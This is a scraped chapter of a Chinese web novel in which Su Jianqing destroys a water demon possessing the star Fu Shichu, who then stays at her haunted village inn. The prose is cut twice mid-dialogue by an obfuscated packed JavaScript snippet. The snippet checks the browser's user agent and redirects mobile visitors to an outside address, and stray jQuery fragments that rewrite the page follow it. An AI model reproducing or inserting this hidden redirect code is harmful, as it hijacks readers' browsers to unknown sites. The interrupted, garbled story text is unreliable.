“此人身上有你的气息,是你很重要的人吧,真是天助我也,让我碰到他。” 水煞一脸的痛快。 她并不经常现身捕猎,这次盯上李海,没想到被苏见青横插一脚,还伤到了她的本源。 本该回到河底好好养伤。 不曾想碰到傅时初,在他身上闻到了苏见青的味道。 说明什么。 说明他肯定跟苏见青关系匪浅。 在先前的短暂交锋中,水煞清楚地意识到自己打不过苏见青,报仇的机率寥寥。 傅时初的出现,让她找到了报仇的办法。 “我现在和他合二为一,伤我就是伤他。” 水煞朝苏见青露出充满恶意的笑容: “当然,如果你能供奉几个猎物给我,并且真诚向我道歉,我可以考虑放过他。” 望着嚣张的“傅时初”,苏见青无奈地叹了口气。 为什么她种下的因,会在傅时初身上结出恶果。 ——顶流会不会有点太倒霉了。 阿弥陀佛,罪过罪过。 视线在“傅时初”肆无忌惮的表情上略略停留,苏见青淡淡地说: “首先,你错了,他并不是我重要的人。” “其次,抹除你的同时也不会伤到他。” “最后,我很讨厌被威胁。” 闻言,“傅时初”一愣,眼底闪过慌乱。 他已经吞噬傅时初大半的魂魄,苏见青不可能只抹除她而不伤到傅时初,她不过是虚张声势。 苏见青取出小青菇,指腹在伞盖上摸了摸。 “一只受伤的百年水煞而已,你能吃掉的。”她将小青菇挥向水煞,“去吧,加油。” 苏见青突然想起来—— 上辈子似乎有部分妖,偷偷给她的本体取了个不好听的名字。 好像是叫,吞噬菇。 她可以让别人吃。 也可以去吃别人。 …… 被身后无数头发裹住后,傅时初的意识好似沉入一条深不见底的河,慢慢的只觉周围光线愈发幽暗,自己离河面越来越远。 他拼命地伸出手想往上。 却依旧抵不过身下绵延不绝的拉扯。 过往二十六年中那些记忆中最深刻的画面一一浮现,最后消失。 意识渐渐涣散,傅时初没有知觉地阖上双眼。 就在这时,一道熟悉的嗓音钻进他的耳廓,硬生生将他涣散的意识重新凝聚起来。 “醒醒傅老师——” 河水朝两边翻涌,深邃的幽暗渐渐褪去,一只纤细的手携光破开水面,牢牢握住了他的手。 …… 傅时初猛地睁开眼睛,对上一张熟悉的,却带了几分透明的脸。 他瞳孔一缩,眸底是翻涌的惊涛骇浪:“你是人是鬼?!” 苏见青沉思片刻,回答:“目前这个状态的话,应该是鬼吧。” 傅时初:“……” 他快速检查了下自己。 好消息:活的。 再看向苏见青时,顶流的表情颇为复杂。 毫无疑问,她收到他的求救信息后,立刻赶过来救他了,以这种非同寻常的状态。 不可否认,她的出现让傅时初充满难以言喻的完全感。 ——哪怕她说她是鬼。 “那只害我的玩意儿呢?”他谨慎地朝后视镜看了眼,空空如也。 然后,傅时初就在苏见青脸上又看到熟悉的点点心虚。 只听苏见青不好意思地说:“您放心,它已经彻底不在了,我已经替您报仇了。” 傅时初一针见血地问:“我能碰到她,不会又是因为你吧。” 苏见青眨了眨眼睛:“您想听真话还是假话。” 傅时初:“……” 很好,他知道答案了。 他深吸口气,一言不发地盯着苏见青,目光压迫性很强。 苏见青被他看得不自在,主动问:“对了,您怎么会出现在这里。” 傅时初眉梢轻挑,好整以暇地开口:“我们不是一起睡过的关系吗。” 苏见青:“所以……?” “过来找你,再睡一回。” 男人修长的手指搭在方向盘上,语气轻描淡写,苏见青听得若有所思。 傅时初目光不放过她脸上的任何表情。 发现哪怕听到他这样说,苏见青都无比坦然。 好像什么都没对他做过似的。 下一秒,他听到苏见青以试探的口吻询问:“您说的这个睡,它正经吗?” “你都已经做过了,还谈正不正经?”傅时初微妙一顿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14010169|147315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苏见青:“???” 她震惊得魂体都飘忽了下:“我做过什么了!?” 果然不承认。 傅时初冷笑,后背倚向靠背,一脸的“我看你怎么狡辩”。 “……” 苏见青无法理解顶流的脑回路,细细一想,她的表述好像是有点问题。 但就算有问题,最多觉得她是在夸张,他怎么就认为会是真的呢? 她给他的印象是什么女流氓吗!? “如果是我说的睡过让你误会的话,我可以解释。” “你吃完面睡过去后,我也睡过去了,所以我才说我们一起睡过。” 此睡非彼睡啊! “是吗。”傅时初淡淡道,“为什么我吃完面,会睡过去?” 苏见青只好实话实说,表情要多诚恳有多诚恳: “我在面里放了些蘑菇菌丝提鲜,结果蘑菇有毒,我们都中毒了。” “你身上的黑泥就是这么来的,虽然菌丝有毒,但菌丝又自带治疗作用,相辅相成,反倒去除了你身体的杂质。 “……”傅时初眸光幽幽,面无表情地问,“当时你为什么不说?” 苏见青:“你没问啊,而且你直接就走了。” 两人对视。 傅时初默默捏紧了拳头。 理智告诉他,苏见青没骗他。 感性告诉他,苏见青乱编的。 顶流的沉默,震耳欲聋。 过了会儿,他打破沉寂:“……你为什么要洗澡。” 苏见青:“?我身上也有黑泥,当然要洗。” 很好,这是个误会。 还是他单方面自以为是的误会。 傅时初渐渐移开视线,当场表演一个,只要我不敢尴尬,尴尬的就是别人。 “你家在哪?”他若无其事地问。 二十多分钟后,傅时初站在了咸鱼客栈的院子里。 一只鬼佣在苏见青地示意下,端来杯泡好的菊花茶递给他。 ——降降火。 顶流接过,目光往二楼看,他看着苏见青半透明的身影飘了进去。 过了会儿,苏见青正常地下来了。 傅时初的视线被她手里抱着的小青菇吸引。 现在不能称为小了。 因为大吃一顿,小青菇已经由原来的拳头大小,长至篮球那么大。 小花盆已经装不下啦。 苏见青决定把它种到院子旁边的土里,还向傅时初解释,他俩吃的就是它。 避免脑回路不正常的顶流继续胡思乱想。 傅时初:“……” 看到它的第一眼,他彻底信了苏见青的话。 这朵蘑菇一看就毒得很,和普通菇菇不一样。 不知道是不是因为吃了它的菌丝,傅时初莫名对青色菇菇很有好感。 胖嘟嘟的十分可爱。 他状似不在意地开口:“我能看看吗?” 苏见青犹豫了下,递给他,去屋里找小铲子挖坑。 傅时初接过,修长有力的手指抚上了伞盖。 有那么一瞬间,他感觉菇菇仿佛怕痒般动了动。 傅时初:“?” 他又摸了摸菌柄。 它再次动了,傅时初绝没感觉错。 也对,吃它一口菌丝就能从内到外清洗身体,像活的一样动一动再正常不过。 傅时初翻来覆去地打量青色菇菇。 由于触感绵软,手指下意识地捏了一把厚厚的伞盖。 随着他这一捏,伞盖喷出了肉眼看不见的孢子。 傅时初并不知道。 他只是突然感觉鼻子发痒,不由自主地打了个喷嚏。 13.013 013: 找到小铲子的苏见青出来,接过青色菇菇,莫名其妙共感到一阵喜悦。 然后,看到了伞盖上还没回弹完的淡淡指印。 她望向傅时初:“你捏它了?” “没有。”顶流毫无破绽地否认。 苏见青:“……” 她礼貌地没有拆穿他,走到院子旁边,挖坑把青色菇菇种了进去。 傅时初全程旁观,忽然问:“它有这么神奇的效果,你从哪里挖到的?” 苏见青随口敷衍:“黑无常奖励的。” 好像更合理了,他不吭声了。 照理说危机和误会一同解除,应该直接掉头离开才对,结果还是到了她家里。 还是那句话,来都来了。 傅时初开始无所事事地在周围逛。 “你要把这里变成客栈?”他看到了院门口挂着的招牌,来的时候没注意。 苏见青“嗯”了一声。 傅时初难以评价。 谁那么无聊跑到这么偏远的地方,就为了在她家住一晚? 念头刚一掠过,意识到自己似乎是第一个的顶流,表情相当精彩。 苏见青埋好青色菇菇,拍了拍手上的泥,思索片刻,转头问正在内耗的傅时初: “你想再吃蘑菇吗?” 傅时初:“?” 考虑到傅时初被水煞攻击是因为她,虽然他不误会的话,就不会来五里村,不来也不会遭此一劫。 但细细算下来,顶流这几天遇到的非正常事件,起因皆是她。 苏见青内心多少还是有点过意不去。 正好傅时初已经知道青菇的存在和效用,不妨让他再吃吃。 前提是他自己愿意。 “你体内的杂质并没有清除干净。”苏见青说,“当然,如果你不放心的话,可以不吃。” 只要是个正常人都知道这是件对身体有益无害的好事。 傅时初犹豫两秒,答应了。 他身体底子本来就不错,加上前面已经有过一次。 以至于在第四次吃完菌丝,傅时初就不再晕过去。 同时,也打消了内心深处的最后一丝疑虑。 既然知道苏见青对他并没有不轨,反而还无私帮助他改造身体。 傅时初没说其他有的没的,直接霸总上身,用行动表示感谢—— 要了苏见青的银行账号,再打了个电话。 苏见青手机很快收到银行发来的转账信息。 她下意识数了数后面的零,怀疑顶流可能手一抖,多输了一个零。 当晚,傅时初住在了咸鱼客栈。 由于其他房间还没有布置出来,再加上他的慷慨,苏见青大方将自己的房间让给他住。 并派鬼佣去镇上给他买了换洗衣服和洗漱用品。 傅时初在山里面拍过戏,艰苦的环境也不是没有待过,倒不会嫌弃那些平价衣服。 但是—— 他站在充满女孩气息的房间,问准备离开的苏见青:“那你睡哪?” 苏见青:“楼下凑合一晚。” 傅时初忽道:“这个房间很宽。” 苏见青:“?” “既然我们一起睡过,再睡一次问题不大。” 顶流垂下浓长的睫毛,掩住内心所有的情绪:“别多想,这个睡很正经。” 他示意了下床边的地面:“打个地铺就行。” 苏见青有理由怀疑,经过水煞攻击的顶流不敢一个人睡。 “行。”看在那一串零的份上,她爽快答应。 找来干净的竹席放在地上,又铺了一层被子,抬头问坐在床边看她忙碌的傅时初: “傅老师,您试试看可不可以。” 傅时初:“?” 苏见青:“??” 傅时初微微咬牙:“你让我睡地铺?” 苏见青疑惑:“不是您要打地铺嘛。” 傅时初盯着她看了好一会儿,面无表情地起身,往地铺上躺了。 身高腿长的他在地铺上显得格外局促。 “可以吗?” “非、常、好。” 仿佛没有听到顶流一个字一字往外蹦,苏见青温柔地说:“您喜欢就好。” 然后美美地睡进自己柔软的床。 今天折腾得够多的,她打了个呵欠,关灯:“晚安。” 傅时初没回答,关灯后视线暗了下来。 他翻了个身,借着窗外月光透进来的淡淡光辉,目光落向床上隆起的纤细影子。 与此同时,耳边传来她平稳均匀的呼吸。 傅时初:“……” 就这么秒睡了?! 这显得他误会她对他这样那样是个天大的笑话。 她用实际行动证明,她对他一点兴趣都没有。 换作其他任何一个女人,和他同睡一处,没有生扑上来,已经是非常克制了。 傅时初盯着黑暗的天花板,默思良久,缓缓闭上眼睛。 原以为会重现车里惊悚的一幕。 但别说水煞,他脑海里连阿飘这两个字都没闪现过。 意识慢慢沉入黑暗…… …… 傅时初睁开眼睛。 毫不意外自己又又又做梦了。 难道这一次梦到变成水煞? 环顾四周,感觉脚下冷冰冰的,身体动不了。 低头一看,才发现自己被埋在土里。 他,变成了一朵蘑菇。 吃了蘑菇,做梦就变成蘑菇。 ——逻辑成立。 一时之间,傅时初也不知道是变阿飘更刺激,还是变成蘑菇更新奇。 他感觉肚子暖洋洋的,换到蘑菇身上,大概是菌柄中间的位置。 然后,菌柄忽然从中间裂出一个口子,从口子里不断喷出指头大小的小蘑菇。 再然后,无数小蘑菇一跳一跳,把他这朵大蘑菇给淹没了。 傅时初:??? 什么乱七八糟的,他睁开眼睛,才发现天亮了。 虽然做了奇奇怪怪的梦,但他的精神极好,整个人神清气爽。 傅时初很清楚,这跟苏见青给他吃的青色蘑菇菌丝脱不了关系。 他下意识看向床上。 苏见青还在熟睡中,不过姿势和最初不一样,她在床上掉了个头,蜷成一团。 傅时初:“……” 很难理解是怎么睡成这个姿势的。 盯着女孩睡姿看毕竟不太礼貌,他很快移开视线,去楼下洗漱。 一只大公鸡不知从哪蹿出来,扭着大屁股靠近傅时初,高高昂起脖子,将嘴凑向他。 傅时初昨天看到过它,恹恹地缩在角落,像是病重的样子。 这会儿倒是生龙活虎,元气满满。 不过尖尖的嘴上套了根一次性头绳。 这是向他求助,把头绳取了? 傅时初和它黑溜溜的眼睛对上,试探伸手。 见状,鸡嘴凑得更近了,似乎连两只爪爪都在努力踮起来。 傅时初:“……” 这鸡成精了吧。 正当他准备取下一次性头绳时,一个幽幽的声音冷不丁从背后响起。 “现在不能取,取了它会高声呼叫,目的是为了故意吵醒老板。” 傅时初按住衣服下手臂上突然冒出的鸡皮疙瘩,转头看向说话者。 他记得苏见青介绍过对方,是客栈的前台。 白得像纸一样的肤色,镶嵌着小巧清秀的五官,此时,她正腼腆羞涩地望着傅时初。 傅时初谨慎地和她保持距离。 根据客栈五位员工对苏见青毕恭毕敬的态度,他合理怀疑他们并不是活人。 “故意吵醒?” “是的,它目前认为老板害它不纯洁了。”前台小姐说,“所以想报复老板。” “……” 傅时初看看她,又看看等不到他解开头绳,怒而扇动翅膀的大公鸡。 默默消化其中的意思后,他饶有兴趣地问:“你老板把它怎么了?” 会让一只公鸡认为自己不再纯洁。 前台小姐如实回答:“老板让它下了一只蛋。” 傅时初:“……” 他同情地瞥了眼大公鸡。 大公鸡突然不扑棱翅膀了,脑袋直勾勾盯着傅时初的腹部。 片刻后,它黑溜溜的眼睛里似乎也流露出了人性化的同情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14020277|147315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 傅时初没有理由再留下来,吃完早饭,他向终于苏醒下楼的苏见青辞行。 苏见青自然是热情地送行。 迎着她的笑脸,傅时初微笑着说:“回去的路上,我不会又遇到什么不该遇到的东西吧。” 苏见青从兜里掏出一只平安符递过去:“绝对不会。” 傅时初接过,慢吞吞地说:“我看苏老师好像不怎么忙……” 苏见青:“?” 傅时初:“不如送我到机场?” “我不太……” 苏见青手机一震,看一眼,是顶流的大额转账。 “好的,没问题。”她斩钉截铁地点头,没有丝毫迟疑。 于是,苏见青坐在副驾,一路保驾护航将顶流送到M市机场。 借给傅时初车的朋友周林已经得到消息,到了机场等着。 当看到傅时初和苏见青从车上下来时,他眼睛里嗖嗖射出八卦雷达。 果然! 他就知道傅时初跑这儿借车有猫腻。 他的车有定位,可以在手机看到傅时初把车开到了一个村子里。 傅时初的朋友们都了解他,除了工作需要和女演员拍戏外,私底下从来不和女人接触。 ——眼高于顶的傅顶流容不下凡夫俗子。 结果,他火急火燎地跑乡下一趟,回来的副座多了个年轻女孩。 虽然戴着口罩看不清全貌,但周身透出来的那股子灵气,绝非凡品。 啧啧啧。 大八卦啊。 顶流下凡啦。 周林心里激动得恨不得昭告全天下,面上却努力克制,开口第一句就是热情的: “嫂子好,我是周林,幸会幸会。” 苏见青半点也不尴尬,笑眯眯地回握周林的手:“你好,我是保镖啦。 ” 周林:“?” 周林:“……” 周林转眸,对上傅时初墨镜下的死亡视线。 “哈哈哈。” 他干笑两声,保镖?我信你个鬼。 “傅老师再见,一路顺风。” 任务完成的苏见青挥挥手,拿着顶流转的钱,豪迈地打了辆车回家。 “等等,我送你……” 周林话没说完,就被傅时初凉凉的嗓音打断:“你盐吃多了?” “老傅,在兄弟面前就别装了。”周林挤眉弄眼,“老实交待,什么情况。” 傅时初充耳不闻,将车钥匙扔给他,一脸冷酷地走进VIP通道。 留下周林站在原地,眼珠疯狂转动。 ——老傅去的好像是什么五里村。 …… 回到京城后,傅时初陷入忙碌的通告中,团队并不知道自家老板离过京。 但让他们震惊的是,休息了几天的老板的状态好到让人不敢置信。 尤其最新一场红毯活动中,无人能与傅时初争锋。 无论颜值还是身材,赢麻了。 而随着苏见青的热度渐渐消散,她的名字也慢慢淡出网络。 直到大半个月后,苏见青更新了一条微博。 【苏见青V】:在老家开了家客栈,欢迎来玩哦[图片][图片][图片] 关注的粉丝看到后,纷纷留言: 【青宝等我来打卡。】 【布置得好漂亮温馨,想去。】 【离得太远了,去不了呜呜呜。】 【哈哈哈我是阳城的,过两天就去。】 【一天一百,好便宜,去村里玩玩也可以耶。】 …… 接了新戏进组的傅时初刷到苏见青的微博。 骨节分明的修长指尖转动手机。 过了会儿,指腹滑动屏幕,微信点开苏见青的对话框,发了个红包过去。 ——【恭喜开业】 这时,助理杨天将食盒放桌上,从里面取出四菜一汤,其中一道菜是清蒸鲈鱼。 闻到鱼味的刹那,傅时初胸口突然泛起一股强烈到难以忍受的恶心。 “傅哥,刚才导演跟我说……” 杨天还没把鱼摆好,就看到傅哥脸色猛地一变,扶着桌子弯腰。 华丽丽地—— yue了。